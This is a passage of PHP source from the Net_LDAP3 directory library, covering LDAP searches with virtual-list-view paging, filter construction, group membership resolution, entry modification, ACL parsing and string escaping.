        $this->_error("LDAP: Bind failed for authcid=$authc. ".ldap_error($this->conn));

        return false;
    }

    /**
     * Execute LDAP search
     *
     * @param string $base_dn    Base DN to use for searching
     * @param string $filter     Filter string to query
     * @param string $scope      The LDAP scope (list|sub|base)
     * @param array  $attrs      List of entry attributes to read
     * @param array  $prop       Hash array with query configuration properties:
     *   - sort:   array of sort attributes (has to be in sync with the VLV index)
     *   - search: search string used for VLV controls
     * @param bool   $count_only Set to true if only entry count is requested
     *
     * @return mixed Net_LDAP3_Result object or number of entries (if $count_only=true) or False on failure
     */
    public function search($base_dn, $filter = '(objectclass=*)', $scope = 'sub', $attrs = ['dn'], $props = [], $count_only = false)
    {
        $controls = null;

        if (!array_key_exists('sort', $props)) {
            $props['sort'] = false;
        }

        if (!$this->conn) {
            $this->_debug("No active connection for " . __CLASS__ . "::" . __FUNCTION__);
            return false;
        }

        // make sure attributes list is not empty
        if (empty($attrs)) {
            $attrs = ['dn'];
        }
        // make sure filter is not empty
        if (empty($filter)) {
            $filter = '(objectclass=*)';
        }

        $this->_debug("C: Search base dn: [$base_dn] scope [$scope] with filter [$filter]");

        $function = self::scope_to_function($scope, $ns_function);

        if (!$count_only && ($sort = $this->find_vlv($base_dn, $filter, $scope, $props['sort']))) {
            // when using VLV, we get the total count by...
            // ...either reading numSubOrdinates attribute
            if (($sub_filter = $this->config_get('numsub_filter')) &&
                ($result_count = @$ns_function($this->conn, $base_dn, $sub_filter, ['numSubOrdinates'], 0, 0, 0))
            ) {
                $counts = ldap_get_entries($this->conn, $result_count);
                for ($vlv_count = $j = 0; $j < $counts['count']; $j++) {
                    $vlv_count += $counts[$j]['numsubordinates'][0];
                }
                $this->_debug("D: total numsubordinates = " . $vlv_count);
            }
            // ...or by parsing the controls in the response, and if that's not supported
            // by fetching all records dn and counting them
            else if (PHP_VERSION_ID < 70305 && !function_exists('ldap_parse_virtuallist_control')) {
                // @FIXME: this search will ignore $props['search']
                $vlv_count = $this->search($base_dn, $filter, $scope, ['dn'], $props, true);
            }

            $controls = $this->_vlv_set_controls($sort, $this->list_page, $this->page_size,
                $this->_vlv_search($sort, $props['search']));

            $this->vlv_active = (bool) $controls;
        }
        else {
            $this->vlv_active = false;
        }

        $sizelimit = (int) $this->config['sizelimit'];
        $timelimit = (int) $this->config['timelimit'];
        $phplimit  = (int) @ini_get('max_execution_time');

        // set LDAP time limit to be (one second) less than PHP time limit
        // otherwise we have no chance to log the error below
        if ($phplimit && $timelimit >= $phplimit) {
            $timelimit = $phplimit - 1;
        }

        $this->_debug("Using function $function on scope $scope (\$ns_function is $ns_function)");

        if ($this->vlv_active) {
            if (!empty($this->additional_filter)) {
                $filter = "(&" . $filter . $this->additional_filter . ")";
                $this->_debug("C: (With VLV) Setting a filter (with additional filter) of " . $filter);
            }
            else {
                $this->_debug("C: (With VLV) Setting a filter (without additional filter) of " . $filter);
            }
        }
        else {
            if (!empty($this->additional_filter)) {
                $filter = "(&" . $filter . $this->additional_filter . ")";
            }
            $this->_debug("C: (Without VLV) Setting a filter of " . $filter);
        }

        $this->_debug("Executing search with return attributes: " . var_export($attrs, true));

        if (is_array($controls)) {
            $ldap_result = $function($this->conn, $base_dn, $filter, $attrs, 0, $sizelimit, $timelimit, LDAP_DEREF_NEVER, $controls);
        }
        else {
            $ldap_result = @$function($this->conn, $base_dn, $filter, $attrs, 0, $sizelimit, $timelimit);
        }

        if (!$ldap_result) {
            $this->_warning("LDAP: $function failed for dn=$base_dn. " . ldap_error($this->conn));
            return false;
        }

        // when running on a PHP with server controls support we can
        // retrieve the total count from the LDAP search result
        if ($this->vlv_active && (is_array($controls) || function_exists('ldap_parse_virtuallist_control'))) {
            if (ldap_parse_result($this->conn, $ldap_result, $errcode, $matcheddn, $errmsg, $referrals, $serverctrls)) {
                if (PHP_VERSION_ID >= 70300) {
                    $vlv_count   = (int) $serverctrls[self::CONTROL_VLV_RESPONSE]['value']['count'];
                    // FIXME: I don't know this is the same offset value as in ldap_parse_virtuallist_control() below
                    //        but anyway it looks like we do not use that value for anything
                    $last_offset = (int) $serverctrls[self::CONTROL_VLV_RESPONSE]['value']['target'];
                }
                else {
                    ldap_parse_virtuallist_control($this->conn, $serverctrls, $last_offset, $vlv_count, $vresult);
                }

                $this->_debug("S: VLV result: last_offset=$last_offset; content_count=$vlv_count");
            }
            else {
                $this->_debug("S: ".($errmsg ? $errmsg : ldap_error($this->conn)));
            }
        }
        else {
            $this->_debug("S: ".ldap_count_entries($this->conn, $ldap_result)." record(s) found");
        }

        $result = new Net_LDAP3_Result($this->conn, $base_dn, $filter, $scope, $ldap_result);

        if (isset($last_offset)) {
            $result->set('offset', $last_offset);
        }
        if (isset($vlv_count)) {
            $result->set('count', $vlv_count);
        }

        $result->set('vlv', $this->vlv_active);

        return $count_only ? $result->count() : $result;
    }

    /**
     * Similar to Net_LDAP3::search() but using a search array with multiple
     * keys and values that to continue to use the VLV but with an original
     * filter adding the search stuff to an additional filter.
     *
     * @see Net_LDAP3::search()
     */
    public function search_entries($base_dn, $filter = '(objectclass=*)', $scope = 'sub', $attrs = ['dn'], $props = [])
    {
        $this->_debug("Net_LDAP3::search_entries with search " . var_export($props, true));

        if (is_array($props['search']) && array_key_exists('params', $props['search'])) {
            $_search = $this->search_filter($props['search']);
            $this->_debug("C: Search filter: $_search");

            if (!empty($_search)) {
                $this->additional_filter = $_search;
            }
            else {
                $this->additional_filter = "(|";

                foreach ($props['search'] as $attr => $value) {
                    $this->additional_filter .= "(" . $attr . "=" . $this->_fuzzy_search_prefix() . $value . $this->_fuzzy_search_suffix() . ")";
                }

                $this->additional_filter .= ")";
            }

            $this->_debug("C: Setting an additional filter " . $this->additional_filter);
        }

        $search = $this->search($base_dn, $filter, $scope, $attrs, $props);

        $this->additional_filter = null;

        if (!$search) {
            $this->_debug("Net_LDAP3: Search did not succeed!");
            return false;
        }

        return $search;
    }

    /**
     * Create LDAP search filter string according to defined parameters.
     */
    public function search_filter($search)
    {
        if (empty($search) || !is_array($search) || empty($search['params'])) {
            return null;
        }

        $operators = ['=', '~=', '>=', '<='];
        $filter    = '';

        foreach ((array) $search['params'] as $field => $param) {
            $value = (array) $param['value'];
            $type = isset($param['type']) ? strval($param['type']) : null;

            switch ($type) {
                case 'prefix':
                    $prefix = '';
                    $suffix = '*';
                    break;

                case 'suffix':
                    $prefix = '*';
                    $suffix = '';
                    break;

                case 'exact':
                case '=':
                case '~=':
                case '>=':
                case '<=':
                    $prefix = '';
                    $suffix = '';

                    // this is a common query to find entry by DN, make sure
                    // it is a unified DN so special characters are handled correctly
                    if ($field == 'entrydn') {
                        $value = array_map(['Net_LDAP3', 'unified_dn'], $value);
                    }

                    break;

                case 'exists':
                    $prefix = '*';
                    $suffix = '';
                    $param['value'] = '';
                    break;

                case 'both':
                default:
                    $prefix = '*';
                    $suffix = '*';
                    break;
            }

            $operator = $type && in_array($type, $operators) ? $type : '=';

            if (count($value) < 2) {
                $value = array_pop($value);
            }

            if (is_array($value)) {
                $val_filter = [];
                foreach ($value as $val) {
                    $val          = self::quote_string($val);
                    $val_filter[] = "(" . $field . $operator . $prefix . $val . $suffix . ")";
                }
                $filter .= "(|" . implode($val_filter) . ")";
            }
            else {
                $value = self::quote_string($value);
                $filter .= "(" . $field . $operator . $prefix . $value . $suffix . ")";
            }
        }

        // join search parameters with specified operator ('OR' or 'AND')
        if (!empty($search['params']) && count($search['params']) > 1) {
            $operator = !empty($search['operator']) && $search['operator'] == 'AND' ? '&' : '|';
            $filter = '(' . $operator . $filter . ')';
        }

        return $filter;
    }

    /**
     * Set properties for VLV-based paging
     *
     * @param number $page Page number to list (starting at 1)
     * @param number $size Number of entries to display on one page
     */
    public function set_vlv_page($page, $size = 10)
    {
        $this->list_page = $page;
        $this->page_size = $size;
    }

    /**
     * Turn an LDAP entry into a regular PHP array with attributes as keys.
     *
     * @param array $entry Attributes array as retrieved from ldap_get_attributes() or ldap_get_entries()
     * @param bool  $flat  Convert one-element-array values into strings
     *
     * @return array Hash array with attributes as keys
     */
    public static function normalize_entry($entry, $flat = false)
    {
        $rec = [];

        for ($i=0; $i < $entry['count']; $i++) {
            $attr = $entry[$i];
            $_attr = strtolower($attr);

            for ($j=0; $j < $entry[$attr]['count']; $j++) {
                $rec[$_attr][$j] = $entry[$attr][$j];
            }

            if ($flat && count($rec[$_attr]) == 1) {
                $rec[$_attr] = $rec[$_attr][0];
            }
        }

        return $rec;
    }

    /**
     * Normalize a ldap result by converting entry attribute arrays into single values
     */
    public static function normalize_result($_result)
    {
        if (!is_array($_result)) {
            return [];
        }

        $result = [];

        for ($x = 0; $x < $_result['count']; $x++) {
            $dn    = $_result[$x]['dn'];
            $entry = self::normalize_entry($_result[$x], true);

            if (!empty($entry['objectclass'])) {
                if (is_array($entry['objectclass'])) {
                    $entry['objectclass'] = array_map('strtolower', $entry['objectclass']);
                }
                else {
                    $entry['objectclass'] = strtolower($entry['objectclass']);
                }
            }

            $result[$dn] = $entry;
        }

        return $result;
    }

    public static function scopeint2str($scope)
    {
        switch ($scope) {
            case 2:
                return 'sub';

            case 1:
                return 'one';

            case 0:
                return 'base';

            default:
                $this->_debug("Scope $scope is not a valid scope integer");
        }
    }

    /**
     * Choose the right PHP function according to scope property
     *
     * @param string $scope         The LDAP scope (sub|base|list)
     * @param string $ns_function   Function to be used for numSubOrdinates queries
     * @return string  PHP function to be used to query directory
     */
    public static function scope_to_function($scope, &$ns_function = null)
    {
        switch ($scope) {
            case 'sub':
                $function = $ns_function = 'ldap_search';
                break;
            case 'base':
                $function = $ns_function = 'ldap_read';
                break;
            case 'one':
            case 'list':
            default:
                $function    = 'ldap_list';
                $ns_function = 'ldap_read';
                break;
        }

        return $function;
    }

    private function config_set_config_get_hook($callback)
    {
        $this->_config_get_hook = $callback;
    }

    private function config_set_config_set_hook($callback)
    {
        $this->_config_set_hook = $callback;
    }

    /**
     * Sets the debug level both for this class and the ldap connection.
     */
    private function config_set_debug($value)
    {
        $this->config['debug'] = (bool) $value;
        ldap_set_option(null, LDAP_OPT_DEBUG_LEVEL, (int) $value);
    }

    /**
     *  Sets a log hook that is called with every log message in this module.
     */
    private function config_set_log_hook($callback)
    {
        $this->_log_hook = $callback;
    }

    /**
     * Find a matching VLV
     */
    protected function find_vlv($base_dn, $filter, $scope, $sort_attrs = null)
    {
        if ($scope == 'base') {
            return false;
        }

        $vlv_indexes = $this->find_vlv_indexes_and_searches();

        if (empty($vlv_indexes)) {
            return false;
        }

        $this->_debug("Existing vlv index and search information", $vlv_indexes);

        $filter  = strtolower($filter);
        $base_dn = self::unified_dn($base_dn);

        foreach ($vlv_indexes as $vlv_index) {
            if (!empty($vlv_index[$base_dn])) {
                $this->_debug("Found a VLV for base_dn: " . $base_dn);
                if ($vlv_index[$base_dn]['filter'] == $filter) {
                    if ($vlv_index[$base_dn]['scope'] == $scope) {
                        $this->_debug("Scope and filter matches");

                        // Not passing any sort attributes means you don't care
                        if (!empty($sort_attrs)) {
                            $sort_attrs = array_map('strtolower', (array) $sort_attrs);

                            foreach ($vlv_index[$base_dn]['sort'] as $sss_config) {
                                $sss_config = array_map('strtolower', $sss_config);
                                if (count(array_intersect($sort_attrs, $sss_config)) == count($sort_attrs)) {
                                    $this->_debug("Sorting matches");

                                    return $sort_attrs;
                                }
                            }

                            $this->_debug("Sorting does not match");
                        }
                        else {
                            $sort = array_filter((array) $vlv_index[$base_dn]['sort'][0]);
                            $this->_debug("Sorting unimportant");

                            return $sort;
                        }
                    }
                    else {
                        $this->_debug("Scope does not match");
                    }
                }
                else {
                    $this->_debug("Filter does not match");
                }
            }
        }

        return false;
    }

    /**
     * Return VLV indexes and searches including necessary configuration
     * details.
     */
    protected function find_vlv_indexes_and_searches()
    {
        // Use of Virtual List View control has been specifically disabled.
        if ($this->config['vlv'] === false) {
            return false;
        }

        // Virtual List View control has been configured in kolab.conf, for example;
        //
        // [ldap]
        // vlv = [
        //         {
        //                 'ou=People,dc=example,dc=org': {
        //                         'scope': 'sub',
        //                         'filter': '(objectclass=inetorgperson)',
        //                         'sort' : [
        //                                 [
        //                                         'displayname',
        //                                         'sn',
        //                                         'givenname',
        //                                         'cn'
        //                                     ]
        //                             ]
        //                     }
        //             },
        //         {
        //                 'ou=Groups,dc=example,dc=org': {
        //                         'scope': 'sub',
        //                         'filter': '(objectclass=groupofuniquenames)',
        //                         'sort' : [
        //                                 [
        //                                         'cn'
        //                                     ]
        //                             ]
        //                     }
        //             },
        //     ]
        //
        if (is_array($this->config['vlv'])) {
            return $this->config['vlv'];
        }

        // We have done this dance before.
        if ($this->_vlv_indexes_and_searches !== null) {
            return $this->_vlv_indexes_and_searches;
        }

        $this->_vlv_indexes_and_searches = [];

        $config_root_dn = $this->config_get('config_root_dn');

        if (empty($config_root_dn)) {
            return [];
        }

        if ($cached_config = $this->get_cache_data('vlvconfig')) {
            $this->_vlv_indexes_and_searches = $cached_config;
            return $this->_vlv_indexes_and_searches;
        }

        $search_filter = '(objectclass=vlvsearch)';
        $index_filter  = '(objectclass=vlvindex)';

        $this->_debug("C: Search base dn: [$config_root_dn] scope [sub] with filter [$search_filter]");

        $search_result = ldap_search($this->conn, $config_root_dn, $search_filter, ['*'], 0, 0, 0);

        if ($search_result === false) {
            $this->_debug("S: " . ldap_error($this->conn));
            return [];
        }

        $this->_debug("S: " . ldap_count_entries($this->conn, $search_result) . " record(s) found");

        $vlv_searches = new Net_LDAP3_Result($this->conn, $config_root_dn, $search_filter, 'sub', $search_result);

        if ($vlv_searches->count() < 1) {
            return [];
        }

        foreach ($vlv_searches->entries(true) as $vlv_search_dn => $vlv_search_attrs) {
            // The attributes we are interested in are as follows:
            $_vlv_base_dn = self::unified_dn($vlv_search_attrs['vlvbase']);
            $_vlv_scope   = $vlv_search_attrs['vlvscope'];
            $_vlv_filter  = $vlv_search_attrs['vlvfilter'];

            $this->_debug("C: Search base dn: [$vlv_search_dn] scope [sub] with filter [$index_filter]");

            // Multiple indexes may exist
            $index_result = ldap_search($this->conn, $vlv_search_dn, $index_filter, ['*'], 0, 0, 0);

            if ($index_result === false) {
                $this->_debug("S: " . ldap_error($this->conn));
                continue;
            }

            $this->_debug("S: " . ldap_count_entries($this->conn, $index_result) . " record(s) found");

            $vlv_indexes = new Net_LDAP3_Result($this->conn, $vlv_search_dn, $index_filter, 'sub', $index_result);
            $vlv_indexes = $vlv_indexes->entries(true);

            // Reset this one for each VLV search.
            $_vlv_sort = [];

            foreach ($vlv_indexes as $vlv_index_dn => $vlv_index_attrs) {
                $_vlv_sort[] = explode(' ', trim($vlv_index_attrs['vlvsort']));
            }

            $this->_vlv_indexes_and_searches[] = [
                $_vlv_base_dn => [
                    'scope'  => self::scopeint2str($_vlv_scope),
                    'filter' => strtolower($_vlv_filter),
                    'sort'   => $_vlv_sort,
                ],
            ];
        }

        // cache this
        $this->set_cache_data('vlvconfig', $this->_vlv_indexes_and_searches);

        return $this->_vlv_indexes_and_searches;
    }

    private function init_schema()
    {
        // use PEAR include if autoloading failed
        if (!class_exists('Net_LDAP2')) {
            require_once('Net/LDAP2.php');
        }

        $port = $this->config_get('port', 389);
        $tls  = $this->config_get('use_tls', false);

        foreach ((array) $this->config_get('hosts') as $host) {
            $ldap_uri = $this->_host2uri($host, $port);
            $this->_debug("C: Connect [{$ldap_uri}]");

            $_ldap_cfg = [
                'host'   => $host,
                'port'   => $port,
                'tls'    => $tls,
                'version' => 3,
                'binddn' => $this->config_get('service_bind_dn'),
                'bindpw' => $this->config_get('service_bind_pw')
            ];

            $_ldap_schema_cache_cfg = [
                'max_age' => 86400,
                'path' => sprintf(
                    '%s/%s-Net_LDAP2_Schema.cache',
                    sys_get_temp_dir() ?: '/tmp',
                    str_replace(['://', '/'], ':', $ldap_uri)
                ),
            ];

            $_ldap = Net_LDAP2::connect($_ldap_cfg);

            if (!is_a($_ldap, 'Net_LDAP2_Error')) {
                $this->_debug("S: OK");
                break;
            }

            $this->_debug("S: NOT OK");
            $this->_debug($_ldap->getMessage());
        }

        if (is_a($_ldap, 'Net_LDAP2_Error')) {
            return null;
        }

        $_ldap_schema_cache = new Net_LDAP2_SimpleFileSchemaCache($_ldap_schema_cache_cfg);

        $_ldap->registerSchemaCache($_ldap_schema_cache);

        // TODO: We should learn what LDAP tech. we're running against.
        // Perhaps with a scope base objectclass recognize rootdse entry
        $schema_root_dn = $this->config_get('schema_root_dn');

        if (!$schema_root_dn) {
            $_schema = $_ldap->schema();
        }

        return $_schema;
    }

    protected function list_group_member($dn, $members, $recurse = true)
    {
        $this->_debug("Net_LDAP3::list_group_member($dn)");

        $members       = (array) $members;
        $group_members = [];

        // remove possible 'count' item
        unset($members['count']);

        // Use the member attributes to return an array of member ldap objects
        // NOTE that the member attribute is supposed to contain a DN
        foreach ($members as $member) {
            $member_entry = $this->get_entry_attributes($member, ['member', 'uniquemember', 'memberurl', 'objectclass']);

            if (empty($member_entry)) {
                continue;
            }

            $group_members[$member] = $member;

            if ($recurse) {
                // Nested groups
                $group_group_members = $this->list_group_members($member, $member_entry);
                if ($group_group_members) {
                    $group_members = array_merge($group_group_members, $group_members);
                }
            }
        }

        return array_filter($group_members);
    }

    protected function list_group_uniquemember($dn, $uniquemembers, $recurse = true)
    {
        $this->_debug("Net_LDAP3::list_group_uniquemember($dn)", $entry);

        $uniquemembers = (array) $uniquemembers;
        $group_members = [];

        // remove possible 'count' item
        unset($uniquemembers['count']);

        foreach ($uniquemembers as $member) {
            $member_entry = $this->get_entry_attributes($member, ['member', 'uniquemember', 'memberurl', 'objectclass']);

            if (empty($member_entry)) {
                continue;
            }

            $group_members[$member] = $member;

            if ($recurse) {
                // Nested groups
                $group_group_members = $this->list_group_members($member, $member_entry);
                if ($group_group_members) {
                    $group_members = array_merge($group_group_members, $group_members);
                }
            }
        }

        return array_filter($group_members);
    }

    protected function list_group_memberurl($dn, $memberurls, $recurse = true)
    {
        $this->_debug("Net_LDAP3::list_group_memberurl($dn)");

        $group_members = [];
        $memberurls    = (array) $memberurls;
        $attributes    = ['member', 'uniquemember', 'memberurl', 'objectclass'];

        // remove possible 'count' item
        unset($memberurls['count']);

        foreach ($memberurls as $url) {
            $ldap_uri = $this->parse_memberurl($url);
            $result   = $this->search($ldap_uri[3], $ldap_uri[6], 'sub', $attributes);

            if (!$result) {
                continue;
            }

            foreach ($result->entries(true) as $entry_dn => $_entry) {
                $group_members[$entry_dn] = $entry_dn;
                $this->_debug("Found {$entry_dn}");

                if ($recurse) {
                    // Nested group
                    $group_group_members = $this->list_group_members($entry_dn, $_entry);
                    if ($group_group_members) {
                        $group_members = array_merge($group_members, $group_group_members);
                    }
                }
            }
        }

        return array_filter($group_members);
    }

    /**
     * memberUrl attribute parser
     *
     * @param string $url URL string
     *
     * @return array URL elements
     */
    protected function parse_memberurl($url)
    {
        preg_match('/(.*):\/\/(.*)\/(.*)\?(.*)\?(.*)\?(.*)/', $url, $matches);
        return $matches;
    }

    protected function modify_entry_attributes($subject_dn, $attributes)
    {
        if (is_array($attributes['rename']) && !empty($attributes['rename'])) {
            $olddn      = $attributes['rename']['dn'];
            $newrdn     = $attributes['rename']['new_rdn'];
            $new_parent = isset($attributes['rename']['new_parent']) ? $attributes['rename']['new_parent'] : null;

            $this->_debug("C: Rename $olddn to $newrdn,$new_parent");

            // Note: for some reason the operation fails if RDN contains special characters
            // and last argument of ldap_rename() is set to TRUE. That's why we use FALSE.
            // However, we need to modify RDN attribute value later, otherwise it
            // will contain an array of previous and current values
            for ($i = 1; $i >= 0; $i--) {
                $result = ldap_rename($this->conn, $olddn, $newrdn, $new_parent, $i == 1);
                if ($result) {
                    break;
                }
            }

            if ($result) {
                $this->_debug("S: OK");

                if ($new_parent) {
                    $subject_dn = $newrdn . ',' . $new_parent;
                }
                else {
                    $old_parent_dn_components = ldap_explode_dn($olddn, 0);
                    unset($old_parent_dn_components['count']);
                    $old_rdn       = array_shift($old_parent_dn_components);
                    $old_parent_dn = implode(',', $old_parent_dn_components);
                    $subject_dn    = $newrdn . ',' . $old_parent_dn;
                }

                // modify RDN attribute value, see note above
                if (!$i && empty($attributes['replace'][$attr])) {
                    list($attr, $val) = explode('=', $newrdn, 2);
                    $attributes['replace'][$attr] = self::quote_string($val, true, true);
                }
            }
            else {
                $this->_debug("S: " . ldap_error($this->conn));
                $this->_warning("LDAP: Failed to rename $olddn to $newrdn,$new_parent. " . ldap_error($this->conn));
                return false;
            }
        }

        if (is_array($attributes['replace']) && !empty($attributes['replace'])) {
            $this->_debug("C: Mod-Replace $subject_dn: " . json_encode($attributes['replace']));

            $result = ldap_mod_replace($this->conn, $subject_dn, $attributes['replace']);

            if ($result) {
                $this->_debug("S: OK");
            }
            else {
                $this->_debug("S: " . ldap_error($this->conn));
                $this->_warning("LDAP: Failed to replace attributes on $subject_dn: " . $this->_encode_attrs($attributes['replace']));
                return false;
            }
        }

        if (is_array($attributes['del']) && !empty($attributes['del'])) {
            $this->_debug("C: Mod-Delete $subject_dn: " . json_encode($attributes['del']));

            $result = ldap_mod_del($this->conn, $subject_dn, $attributes['del']);

            if ($result) {
                $this->_debug("S: OK");
            }
            else {
                $this->_debug("S: " . ldap_error($this->conn));
                $this->_warning("LDAP: Failed to delete attributes on $subject_dn: " . $this->_encode_attrs($attributes['del']));
                return false;
            }
        }

        if (is_array($attributes['add']) && !empty($attributes['add'])) {
            $this->_debug("C: Mod-Add $subject_dn: " . json_encode($attributes['add']));

            $result = ldap_mod_add($this->conn, $subject_dn, $attributes['add']);

            if ($result) {
                $this->_debug("S: OK");
            }
            else {
                $this->_debug("S: " . ldap_error($this->conn));
                $this->_warning("LDAP: Failed to add attributes on $subject_dn: " . $this->_encode_attrs($attributes['add']));
                return false;
            }
        }

        return true;
    }

    protected function parse_aclrights(&$attributes, $attribute_value)
    {
        $components      = explode(':', $attribute_value);
        $_acl_target     = array_shift($components);
        $_acl_value      = trim(implode(':', $components));
        $_acl_components = explode(';', $_acl_target);

        switch ($_acl_components[1]) {
            case "entryLevel":
                $attributes['entrylevelrights'] = [];
                $_acl_value = explode(',', $_acl_value);

                foreach ($_acl_value as $right) {
                    list($method, $bool) = explode(':', $right);
                    if ($bool == "1" && !in_array($method, $attributes['entrylevelrights'])) {
                        $attributes['entrylevelrights'][] = $method;
                    }
                }

                break;

            case "attributeLevel":
                $attributes['attributelevelrights'][$_acl_components[2]] = [];
                $_acl_value = explode(',', $_acl_value);

                foreach ($_acl_value as $right) {
                    list($method, $bool) = explode(':', $right);
                    if ($bool == "1" && !in_array($method, $attributes['attributelevelrights'][$_acl_components[2]])) {
                        $attributes['attributelevelrights'][$_acl_components[2]][] = $method;
                    }
                }

                break;

            default:
                break;
        }
    }

    protected function parse_attribute_level_rights($attribute_value)
    {
        $attribute_value  = str_replace(", ", ",", $attribute_value);
        $attribute_values = explode(",", $attribute_value);
        $attribute_value  = [];

        foreach ($attribute_values as $access_right) {
            $access_right_components = explode(":", $access_right);
            $access_attribute        = strtolower(array_shift($access_right_components));
            $access_value            = array_shift($access_right_components);

            $attribute_value[$access_attribute] = [];

            for ($i = 0; $i < strlen($access_value); $i++) {
                $method = $this->attribute_level_rights_map[substr($access_value, $i, 1)];

                if (!in_array($method, $attribute_value[$access_attribute])) {
                    $attribute_value[$access_attribute][] = $method;
                }
            }
        }

        return $attribute_value;
    }

    protected function parse_entry_level_rights($attribute_value)
    {
        $_attribute_value = [];

        for ($i = 0; $i < strlen($attribute_value); $i++) {
            $method = $this->entry_level_rights_map[substr($attribute_value, $i, 1)];

            if (!in_array($method, $_attribute_value)) {
                $_attribute_value[] = $method;
            }
        }

        return $_attribute_value;
    }

    protected function supported_controls()
    {
        $metadata = $this->server_metadata();

        return (array) $metadata['supportedcontrol'];
    }

    protected function vendor_name()
    {
        $metadata = $this->server_metadata();

        return (string) $metadata['vendorname'];
    }

    protected function server_metadata()
    {
        if ($this->_metadata === null) {
            $this->_debug("Obtaining LDAP server metadata");

            $result = $this->get_entry('', ['vendorname', 'supportedcontrol']);

            if ($result) {
                $this->_metadata = $result;
                $this->_debug("LDAP Server metadata: " . var_export($result, true));
            }
            else {
                $this->_metadata = [];
                $this->_warning("LDAP: Failed to get server metadata");
            }
        }

        return $this->_metadata;
    }

    protected function _alert()
    {
        $this->__log(LOG_ALERT, func_get_args());
    }

    protected function _critical()
    {
        $this->__log(LOG_CRIT, func_get_args());
    }

    protected function _debug()
    {
        $this->__log(LOG_DEBUG, func_get_args());
    }

    protected function _emergency()
    {
        $this->__log(LOG_EMERG, func_get_args());
    }

    protected function _error()
    {
        $this->__log(LOG_ERR, func_get_args());
    }

    protected function _info()
    {
        $this->__log(LOG_INFO, func_get_args());
    }

    protected function _notice()
    {
        $this->__log(LOG_NOTICE, func_get_args());
    }

    protected function _warning()
    {
        $this->__log(LOG_WARNING, func_get_args());
    }

    /**
     *  Log a message.
     */
    private function __log($level, $args)
    {
        $msg = [];

        foreach ($args as $arg) {
            $msg[] = !is_string($arg) ? var_export($arg, true) : $arg;
        }

        if (!empty($this->_log_hook)) {
            call_user_func_array($this->_log_hook, [$level, $msg]);
            return;
        }

        if ($this->debug_level > 0) {
            syslog($level, implode("\n", $msg));
        }
    }

    /**
     * Convert attributes array into a string for logging
     * Remove plain text passwords
     */
    private function _encode_attrs($attributes)
    {
        if (isset($attributes['userpassword'])) {
            $attributes['userpassword'] = '*';
        }

        return json_encode($attributes);
    }

    /**
     * Quotes attribute value string
     *
     * @param string $str     Attribute value
     * @param bool   $dn      True if the attribute is a DN
     * @param bool   $reverse Do reverse replacement
     *
     * @return string Quoted string
     */
    public static function quote_string($str, $is_dn = false, $reverse = false)
    {
        // take first entry if array given
        if (is_array($str)) {
            $str = reset($str);
        }

        if ($is_dn) {
            $replace = [
                ',' => '\2c',
                '=' => '\3d',
                '+' => '\2b',
                '<' => '\3c',
                '>' => '\3e',
                ';' => '\3b',
                "\\"=> '\5c',
                '"' => '\22',
                '#' => '\23'
            ];
        }
        else {
            $replace = [
                '*' => '\2a',
                '(' => '\28',
                ')' => '\29',
                "\\" => '\5c',
                '/' => '\2f'
            ];
        }

        if ($reverse) {
            return str_replace(array_values($replace), array_keys($replace), $str);
        }

        return strtr($str, $replace);
    }

    /**
     * Unify DN string for comparison
     *
     * @para string $str DN string
     *
     * @return string Unified DN string
     */
    public static function unified_dn($str)
    {
        $result = [];

        foreach (explode(',', $str) as $token) {
            list($attr, $value) = strpos($token, '=') !== false ? explode('=', $token, 2) : [$token, ''];

            $pos = 0;
            while (preg_match('/\\\\[0-9a-fA-F]{2}/', $value, $matches, PREG_OFFSET_CAPTURE, $pos)) {
                $char  = chr(hexdec(substr($matches[0][0], 1)));
                $pos   = $matches[0][1];
                $value = substr_replace($value, $char, $pos, 3);
                $pos += 1;
            }

            $result[] = $attr . '=' . self::quote_string($value, true);
        }

        return implode(',', $result);
    }

    private function _fuzzy_search_prefix()
    {
        switch ($this->config_get("fuzzy_search", 2)) {
            case 2:
                return "*";
                break;
            case 1:
            case 0:
            default:
                return "";
                break;
        }
    }

    private function _fuzzy_search_suffix()
    {
        switch ($this->config_get("fuzzy_search", 2)) {
            case 2:
                return "*";
                break;
            case 1:
                return "*";
            case 0:
            default:
                return "";
                break;
        }
    }

    /**
     * Return the search string value to be used in VLV controls
     *
     * @param array        $sort   List of attributes in vlv index
     * @param array|string $search Search string or attribute => value hash
     *
     * @return string Search string
     */
    private function _vlv_search($sort, $search)
    {
        if (!empty($this->additional_filter)) {
            $this->_debug("Not setting a VLV search filter because we already have a filter");
            return;
        }

        if (empty($search)) {
            return;
        }

        foreach ((array) $search as $attr => $value) {
            if ($attr && !in_array(strtolower($attr), $sort)) {
                $this->_debug("Cannot use VLV search using attribute not indexed: $attr (not in " . var_export($sort, true) . ")");
                return;
            }
            else {
                return $value . $this->_fuzzy_search_suffix();
            }
        }
    }

    /**
     * Set server controls for Virtual List View (paginated listing)
     */
    private function _vlv_set_controls($sort, $list_page, $page_size, $search = null)
    {
        $sort_ctrl = [
            'oid'   => self::CONTROL_SORT_REQUEST,
            'value' => self::_sort_ber_encode($sort)
        ];

        if (!empty($search)) {
            $this->_debug("_vlv_set_controls to include search: " . var_export($search, true));
        }

        $vlv_ctrl  = [
            'oid' => self::CONTROL_VLV_REQUEST,
            'value' => self::_vlv_ber_encode(
                    $offset = ($list_page-1) * $page_size + 1,
                    $page_size,
                    $search
            ),
            'iscritical' => true
        ];

        $this->_debug("C: set controls sort=" . join(' ', unpack('H'.(strlen($sort_ctrl['value'])*2), $sort_ctrl['value']))
            . " (" . implode(',', (array) $sort) . ");"
            . " vlv=" . join(' ', (unpack('H'.(strlen($vlv_ctrl['value'])*2), $vlv_ctrl['value']))) . " ($offset/$page_size)");

        $controls = [$sort_ctrl, $vlv_ctrl];

        if (PHP_VERSION_ID >= 70305) {
            return $controls;
        }

        if (!ldap_set_option($this->conn, LDAP_OPT_SERVER_CONTROLS, $controls)) {
            $this->_debug("S: ".ldap_error($this->conn));
            return false;
        }

        return true;
    }

    /**
     * create ber encoding for sort control
     *
     * @param array List of cols to sort by
     * @return string BER encoded option value
     */
    private static function _sort_ber_encode($sortcols)
    {
        $str = '';
        foreach (array_reverse((array)$sortcols) as $col) {
            $ber_val = self::_string2hex($col);

            // 30 = ber sequence with a length of octet value
            // 04 = octet string with a length of the ascii value
            $oct = self::_ber_addseq($ber_val, '04');
            $str = self::_ber_addseq($oct, '30') . $str;
        }

        // now tack on sequence identifier and length
        $str = self::_ber_addseq($str, '30');

        return pack('H'.strlen($str), $str);
    }

    /**
     * Generate BER encoded string for Virtual List View option
     *
     * @param integer List offset (first record)
     * @param integer Records per page
     * @return string BER encoded option value
     */
